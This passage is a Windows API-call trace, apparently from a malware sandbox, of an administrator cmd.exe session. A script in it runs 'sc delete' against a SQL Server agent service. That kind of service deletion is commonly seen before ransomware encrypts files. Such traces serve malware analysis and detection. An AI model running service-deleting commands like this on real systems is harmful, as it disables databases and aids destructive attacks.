lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="S\nER\"\n\n\n") returned 1 [0066.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.435] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="KER\"\n\n\n") returned 1 [0066.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.435] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="LR\"\n\n\n") returned 1 [0066.435] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.435] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.436] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="U\"\n\n\n") returned 1 [0066.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.436] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="W\n\n\n") returned 1 [0066.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.436] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="E\n\n") returned 1 [0066.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.436] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e360, cchWideChar=1 | out: lpWideCharStr="R\n") returned 1 [0066.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.436] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e362, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0066.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.436] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.437] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e364, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0066.437] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.437] GetFileType (hFile=0xb8) returned 0x3 [0066.437] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.437] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.437] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.437] GetFileType (hFile=0x120) returned 0x3 [0066.437] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n", lpUsedDefaultChar=0x0) returned 36 [0066.437] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x23, lpOverlapped=0x0) returned 1 [0066.437] GetProcessHeap () returned 0x1b0000 [0066.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.437] GetProcessHeap () returned 0x1b0000 [0066.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.437] GetProcessHeap () returned 0x1b0000 [0066.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.437] GetProcessHeap () returned 0x1b0000 [0066.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.437] GetProcessHeap () returned 0x1b0000 [0066.438] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x52) returned 0x1cba10 [0066.438] GetConsoleOutputCP () returned 0x1b5 [0066.438] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.438] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.438] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.438] GetProcessHeap () returned 0x1b0000 [0066.438] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.438] GetProcessHeap () returned 0x1b0000 [0066.438] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x58) returned 0x1c9b30 [0066.438] GetProcessHeap () returned 0x1b0000 [0066.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc590 [0066.439] SetErrorMode (uMode=0x0) returned 0x1 [0066.439] SetErrorMode (uMode=0x1) returned 0x0 [0066.439] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5a0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.439] SetErrorMode (uMode=0x1) returned 0x1 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc590, Size=0x62) returned 0x1cc590 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc590) returned 0x62 [0066.439] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.439] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.439] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.439] GetProcessHeap () returned 0x1b0000 [0066.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0066.440] GetProcessHeap () returned 0x1b0000 [0066.440] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0066.440] GetProcessHeap () returned 0x1b0000 [0066.440] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0066.440] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.440] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.440] GetLastError () returned 0x2 [0066.440] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.440] GetLastError () returned 0x2 [0066.440] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.440] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.441] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.441] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.441] GetLastError () returned 0x2 [0066.441] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.441] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.441] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.441] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.441] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.442] GetProcessHeap () returned 0x1b0000 [0066.442] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.442] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.442] GetProcessHeap () returned 0x1b0000 [0066.442] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xbe) returned 0x1c9180 [0066.442] GetProcessHeap () returned 0x1b0000 [0066.442] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xbe [0066.442] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$WOLTERSKLUWER\"") returned 1 [0066.443] GetProcessHeap () returned 0x1b0000 [0066.443] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.443] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.443] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.443] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.443] GetProcessHeap () returned 0x1b0000 [0066.443] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.443] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.444] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.444] GetProcessHeap () returned 0x1b0000 [0066.444] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.444] GetProcessHeap () returned 0x1b0000 [0066.445] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.445] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$WOLTERSKLUWER\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$WOLTERSKLUWER\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"SQLAgent$WOLTERSKLUWER\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x6ec, dwThreadId=0xb18)) returned 1 [0066.449] CloseHandle (hObject=0x54) returned 1 [0066.449] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.449] GetProcessHeap () returned 0x1b0000 [0066.449] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.449] GetEnvironmentStringsW () returned 0x1cba70* [0066.449] GetProcessHeap () returned 0x1b0000 [0066.449] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.449] FreeEnvironmentStringsW (penv=0x1cba70) returned 1 [0066.449] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.449] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.450] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0066.499] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.499] CloseHandle (hObject=0x50) returned 1 [0066.499] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.499] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.499] GetProcessHeap () returned 0x1b0000 [0066.499] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.499] GetEnvironmentStringsW () returned 0x1d1b10* [0066.499] GetProcessHeap () returned 0x1b0000 [0066.499] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.499] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.499] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.499] GetProcessHeap () returned 0x1b0000 [0066.500] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.500] GetEnvironmentStringsW () returned 0x1cba70* [0066.500] GetProcessHeap () returned 0x1b0000 [0066.500] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.500] FreeEnvironmentStringsW (penv=0x1cba70) returned 1 [0066.500] GetProcessHeap () returned 0x1b0000 [0066.500] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.500] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.500] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.501] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.501] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.501] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.501] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.501] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.501] GetConsoleOutputCP () returned 0x1b5 [0066.501] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.501] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc590 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.502] GetProcessHeap () returned 0x1b0000 [0066.502] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.502] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.502] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.502] GetFileType (hFile=0x120) returned 0x3 [0066.502] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.503] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.503] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.503] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.503] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.503] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.503] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.503] GetFileType (hFile=0x120) returned 0x3 [0066.503] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.503] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, 